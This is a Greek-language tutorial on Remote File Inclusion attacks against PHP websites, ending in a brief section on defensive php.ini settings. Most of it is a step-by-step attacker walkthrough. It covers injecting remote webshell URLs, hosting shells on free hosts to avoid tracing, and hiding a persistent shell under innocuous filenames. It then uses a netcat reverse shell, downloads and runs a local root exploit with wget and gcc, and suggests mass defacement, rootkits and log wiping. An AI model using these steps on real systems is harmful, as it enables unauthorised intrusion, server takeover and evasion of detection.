Σε προηγούμενο tutorial είχαμε αναφέρει γενικά τα είδη των διαδικτυακών επιθέσεων. Σε αυτό λοιπόν το tutorial θα αναλύσουμε με λεπτομέρειες τι είναι το R.F.I, θα πούμε πως γίνεται όπως επίσης θα αναφέρουμε και τρόπους προστασίας.
Η μέθοδος αυτή αφορά την εκτέλεση ενός κακόβουλου προγράμματος (για την ακρίβεια ενός webshell) από έναν μη εξουσιοδοτημένο χρήστη, σε μια ευάλωτη σε αυτού του είδους την επίθεση ιστοσελίδα που φιλοξενείται σε κάποιον server. Το συγκεκριμένο κενό ασφαλείας μας επιτρέπει να συμπεριλάβουμε ό,τι κώδικα θέλουμε στην URL, όπως για παράδειγμα την εκτέλεση ενός webshell.
Στο διαδίκτυο μπορεί να βρει κανείς διάφορα webshells. Με τη χρήση αυτών λοιπόν, πολλές φορές, μπορούμε να εγκαταστήσουμε κάποιο keylogger, trojan, backdoor. Μπορούμε ακόμα και να πάρουμε τον έλεγχο του λειτουργικού συστήματος του σέρβερ δηλαδή να πάρουμε root access (own the box).
Το webshell είναι μια σελίδα γραμμένη σε php ή asp τις περισσότερες φορές (γενικά όμως dynamic pages κτλ.) η οποία δίνει την δυνατότητα στον επιτιθέμενο να δει τα περιεχόμενα των φακέλων του site, να διαχειρίζεται αρχεία (προσθήκη, επεξεργασία, ανέβασμα κτλ) ανάλογα βέβαια πάντα και με τα permissions, κι όπως είπαμε και προηγουμένως ακόμα και να rootarei το box!
Το συγκεκριμένο κενό ασφαλείας οφείλεται στον κακό προγραμματισμό (τι άλλο θα μπορούσε δηλαδή;) κι επεξηγώ... Εάν κοιτάξουμε στον κώδικα του php αρχείου προσεχτικά θα βρούμε σε κάποιο σημείο το εξής καλούδι:
Τι σημαίνει δηλαδή αυτό; Σημαίνει ότι η συνάρτηση include() δέχεται χωρίς κανένα πρόβλημα ό,τι της σερβίρουμε. Μα φυσικά τι άλλο εκτός από το ωραίο, συναρπαστικό αλλά πάνω απ' όλα κακόβουλο (για τον admin, όχι για εμάς) shellaki μας.
Δηλαδή, έχουμε το εξής site:http://www.site.gr/index.php?page=index.php
Εμείς λόγω του κενού αυτού που αναφέραμε, μπορούμε να το τροποποιήσουμε λιγάκι το url, δηλαδή να εκτελέσουμε το εξής:
http://www.site.gr/index.php?
page=http://www.remotewebserver.gr/shell.php
ώστε να το κάνουμε να διαβάζει το shell μας το οποίο έχουμε ανεβάσει σε έναν
remote web server. Επίσης, έχουμε την δυνατότητα να ανεβάσουμε το shell ως .txt αρχείο για να μην μπορούν οι άλλοι να δουν τα περιεχόμενα του δικού μας site.
Εκτελούμε δηλαδή:
http://www.site.gr/index.php?
page=http://www.remotewebserver.gr/shell.txt?
Το ερωτηματικό το βάζουμε για να πούμε στον σέρβερ να διαβάσει το αρχείο shell.txt ως php κι όχι ως txt. Να σημειώσω ότι μερικές φορές το ερωτηματικό δεν επαρκεί για να “ξεγελάσει” το website. Ενδέχεται λοιπόν να πρέπει να προσθέσουμε null bytes για να εκτελεστεί κανονικά.
Αυτό το κάνουμε δίνοντας την εξής εντολή:
http://www.site.gr/index.php?
page=http://www.remotewebserver.gr/shell.txt?
Πως μπορούμε να εντοπίζουμε τέτοιου είδους κενά ασφαλείας;
Τέτοιες αδυναμίες μπορούμε να βρούμε εάν κατέχουμε ορισμένες γνώσεις προγραμματισμού. Συνήθως όμως τις βρίσκουμε με Vulnerability Scanners (nikto, acunetix, darkjumper_script κτλ). Μπορούμε όμως να βρούμε τέτοιου είδους ευάλωτες ιστοσελίδες και μέσω των γνωστών μας google dorks, ακόμα κι από bots που τρέχουν σε IRC Servers.
Πως ελέγχουμε αν είναι όντως ευάλωτο σε R.F.I επιθέσεις το συγκεκριμένο link;
Έχουμε το εξής site:
http://www.site.gr/index.php?page=index.php
Για να ελέγξουμε εάν είναι τρωτό στο συγκεκριμένο bug αντικαθιστούμε το index.php με όποια σελίδα να ‘ναι.
Μπορούμε να κάνουμε δηλαδή το εξής απλό:
http://www.site.gr/index.php?page=www.google.gr
Εάν φορτώσει το google μέσα στη σελίδα μας, τότε σημαίνει ότι το site αυτό είναι ευάλωτο σε αυτού του είδους τις επιθέσεις.Που ανεβάζω το shellaki μου; Προφανώς δεν θα το ανεβάσουμε σε κάποιον δικό μας σέρβερ λόγω tracing. Οπότε, μπορούμε να κάνουμε το εξής απλό και να ανεβάσουμε τα διάφορα shellakia μας σε έναν free host.
Που θα βρούμε έναν τέτοιον;
Υπάρχουν πάρα πολλοί στο διαδίκτυο και με ένα απλό googlarisma βρίσκεις.
Αφού ανεβάσουμε το shell μας, πάμε να πάρουμε το direct link του αρχείου.
Το link που θα πάρουμε θα είναι της ακόλουθης μορφής:
http://www.speedyshare.com/files/12345678/shell.php
http://www.speedyshare.com/files/12345678/shell.txt
Το direct link στον συγκεκριμένο σέρβερ προκύπει εάν πριν από το όνομα προσθέσουμε download/
Δηλαδή τα direct links είναι το εξής:
http://www.speedyshare.com/files/12345678/download/shell.php
http://www.speedyshare.com/files/12345678/download/shell.txt
Εμείς ανεβάζουμε το shell και ως .php αλλά και ως .txt αρχείο γιατί δεν ξέρεις τι θα βολεύει κάθε φορά (άλλες φορές θα χρησιμοποιούμε το shell κι άλλες το txt).
ΣΗΜΕΙΩΣΗ: Καλό είναι να έχουμε ανεβασμένα 2-3 shells καθώς ορισμένες φορές μπορεί το ένα να μην μπαίνει και να μπαίνει το άλλο. Πολύ καλό shell είναι το storm7shell. Γενικά, να χρησιμοποιείτε shells που διαθέτουν back-connection feature για να μην χρειάζετε να κάνετε upload το netcat εάν επιχειρήσετε να rootarete το box.
Πως μπορούμε να διατηρήσουμε την πρόσβαση μας στο site;
Εάν έχουμε τα κατάλληλα δικαιώματα μπορούμε να ανεβάσουμε το ίδιο το shell στο site. Έτσι θα έχουμε πρόσβαση ανά πάσα στιγμή το επιθυμούμε, όσο το shell θα παραμένει ανεβασμένο στην σελίδα ανεξάρτητα από το εάν έχει διορθοθεί το bug. Φυσικά, δεν το κάνουμε όπως να ‘ναι. Το shell θα το ανεβάσουμε σε ένα απομακρυσμένο directory και με όνομα τέτοιο ώστε να μην κινεί ιδιαίτερα υποψίες, όπως changelog.php, default.php, default_pages.php κλπ.Πως μπορούμε να rootaroume έναν Linux Server με SAFE MODE:OFF.
Καταρχάς, θα χρειαστούμε το NetCat και ένα Local Root Exploit (ανάλογα πάντα βέβαια την έκδοση του server που έχουμε βάλει στο shell). Εφόσον έχουμε ανεβάσει το shell πάμε να μάθουμε πρώτα απ’ όλα ποια είναι η έκδοση του box.
Δίνουμε λοιπόν την εντολή: uname –a
Πάμε τώρα να κάνουμε back-connection μέσω του shell.
Ανοίγουμε το NetCat στον υπολογιστή μας και το προστάζουμε να κάνει listen σε μια συγκεκριμένη θύρα.
Σημείωση: Η θύρα αυτή θα πρέπει να είναι ρυθμισμένη δηλαδή να γίνεται forward από το router και να μην υπάρχει θέμα με το firewall μας (πολύ απλά κλείστε το). Η default port για το storm7shell είναι η θύρα 5992. Γενικά, σε όλα τα shellakia με back-connection features σου γράφουν αυτά σε ποια θύρα πρέπει να κάνεις listen, αν και μπορείς να βάλεις όποια θύρα κάνεις κέφι εσύ. Δίνουμε λοιπόν την εξής εντολή στο NetCat για να ξεκινήσει το listening:
nc -n -l -v -p 5992
NetCat respond: listening on [any] 5992 ...
Στην φόρμα της IP βάζουμε την IP μας. Στην φόρμα της θύρας βάζουμε την θύρα την οποία ανοίξαμε και στην οποία ακούει το NetCat. Εάν πατήσουμε Connect, το shell θα μας απαντήσει:
Now script try connect to port 5992 ...
Εάν οι ρυθμίσεις μας είναι όλες σωστές τότε το NetCat θα μας δώσει το shell του σέρβερ. Συνεχίζουμε τώρα το rooting process. Πρέπει να βρούμε τώρα έναν εγγράψιμο φάκελο με σκοπό να κατεβάσουμε και να κάνουμε compile το Local Root Exploit το οποίο θα μας δώσει root privileges στο box. To exploit εξαρτάται από την έκδοση του kernel του εκάστοτε box. Μερικές φορές τα exploits αυτά δεν δουλεύουν επειδή μπορεί να τα έχουν κάνει patch τα bugs του kernel ή να μην έχουμε τα κατάλληλα permissions.
Μπορούμε να βρούμε εγγράψιμους φακέλους δίνοντας την εντολή:
find / -perm -2 -ls
Μπορούμε να χρησιμοποιήσουμε τον φάκελο /tmp που είναι σίγουρα εγγράψιμος φάκελος. Οπότε δίνουμε την εξής εντολή:
cd /tmp
Για να κατεβάσουμε το local root exploit μπορούμε να χρησιμοποιήσουμε την εντολή wget που είναι για download στο linux.
Για παράδειγμα:
wget http://www.remotewebhost.gr/rootexploit.c
Αφού κατεβάσουμε το exploit πρέπει να το κάνουμε compile. Όμως, πριν κάνουμε το compile θα πρέπει να διαβάσουμε τυχόν οδηγίες που παρέχονται. Για το exploit με όνομα ‘rootexploit’ πρέπει να γράψουμε:
gcc rootexploit.c -o rootexploit
Τώρα λοιπόν κάναμε το rootexploit εκτελέσιμο. Για να τρέξουν ορισμένα exploits χρειαζόμαστε ένα πολύ μεγάλο αρχείο στο δίσκο προκειμένου να τρέξει κανονικά και να πάρουμε root access (πχ. το h0llyshit exploit). Δεν θέλουν όμως όλα (ίσως λίγα μόνο θέλουν), οπότε θα πρέπει να το ψάξετε λίγο το συγκεκριμένο θέμα. Πρέπει να δημιουργήσουμε ένα μεγάλο αρχείο στο /tmp ή σε κάποιον άλλον εγγράψιμο φάκελο.
Η εντολή είναι:
dd if=/dev/urandom of=largefile count=2M
Όπου largefile είναι το όνομα του αρχείου. Θα χρειαστεί να περιμένουμε 2-3 λεπτά μέχρι να δημιουργηθεί ο φάκελος. Εάν η εντολή αποτύχει, μπορούμε να δοκιμάσουμε την εξής εντολή:
dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024
Τώρα, μπορούμε να προχωρήσουμε στο τελευταίο στάδιο το οποίο είναι να τρέξουμε το exploit. Δίνουμε λοιπόν την εξής εντολή:
./rootexploit largefile
ή εάν είμαστε σε διαφορετικό εγγράψιμο φάκελο και το largefile έχει δημιουργηθεί στο φάκελο /tmp δίνουμε την εξής εντολή:
./rootexploit /tmp/largefile
Εάν το exploit δεν απαιτεί την παραπάνω διαδικασία, απλά δίνουμε την εξής εντολή:
./rootexploit
Εάν δεν παρουσιαστούν σφάλματα (γιατί όπως είπαμε μπορεί να έχει εγκατασταθεί κάποιο patch για τον kernel κτλ) θα γίνουμε root. Για να ελέγξουμε σίγουρα εάν γίναμε root πατάμε την εντολή:
whoami
Με την εντολή αυτή βλέπουμε το όνομα του χρήστη μας. Οπότε εάν δούμε root, τα καταφέραμε. Τώρα που γίναμε root μπορούμε να κάνουμε mass deface όλα τα sites του σέρβερ ή να εγκαταστήσουμε ένα rootkit (πχ. SSHDoor) και να πάρουμε ssh/telnet shell access στον σέρβερ. Όταν παίρνουμε access στο box θα πρέπει να σβήνουμε και τα logs ώστε να αποφεύγουμε το tracing. Αυτό μπορεί να επιτυγχανθεί με έναν log cleaner. Δεν θα δώσω tips κλπ γι’ αυτό μιας και είναι μια άλλη μεγάλη ιστορία από μόνο του.
Τρόποι Προστασίας
Η βασική αιτία που συμβαίνουν οι επιθέσεις αυτές οφείλεται στο configuration της γλώσσας PHP στον εκάστοτε server η οποία έχει «σεταριστεί» έτσι ώστε να επιτρέπει την κλήση προγραμμάτων από άλλα sites.
Μια λύση για να μην μπορεί κάποιος να «τρέξει» απομακρυσμένο κώδικα στο site μας, είναι να δώσουμε συγκεκριμένες τιμές σε κάποιες μεταβλητές περιβάλλοντος της γλώσσας PHP, μέσα στο αρχείο PHP.INI (http://www.php.net/manual/en/ini.php):
Θέτοντας την μεταβλητή αυτή false, δεν επιτρέπεται σε κάποιον να εκτελέσει ένα πρόγραμμα σε απομακρυσμένο server.
H παραπάνω μεταβλητή έχοντας την τιμή true δεν θα επιτρέψει σε κάποιον να
εκτελέσει συναρτήσεις του στυλ system(),exec() κλπ. Δηλαδή συναρτήσεις που
εκτελούν εντολές του λειτουργικού συστήματος. Η συγκεκριμένη όμως μεταβλητή δεν υποστηρίζεται στη Php 6.0. Το σκεπτικό είναι ότι η Php δεν πρέπει να ασχολείται με τόσο «συστημικά ζητήματα» τα οποία μπορούν να επιλυθούν από το security του ίδιου του λειτουργικού (π.χ. με τον καθορισμό access rights κλπ - http://us2.php.net/manual/en/features.safe-mode.php).
- Χρησιμοποιείτε στα προγράμματα σας την συνάρτηση της php file_exists(). Με αυτόν τον τρόπο μπορείτε να ελέγχετε αν υπάρχει το αρχείο που θα κληθεί να εκτελεστεί στον τοπικό σας δίσκο. Αν το αρχείο δεν υπάρχει στον τοπικό δίσκο αλλά υπάρχει σε κάποιον απομακρυσμένο server, η συνάρτηση θα επιστρέψει false!Για περισσότερες και πιο «ζουμερές» λεπτομέρειες ανατρέξτε στο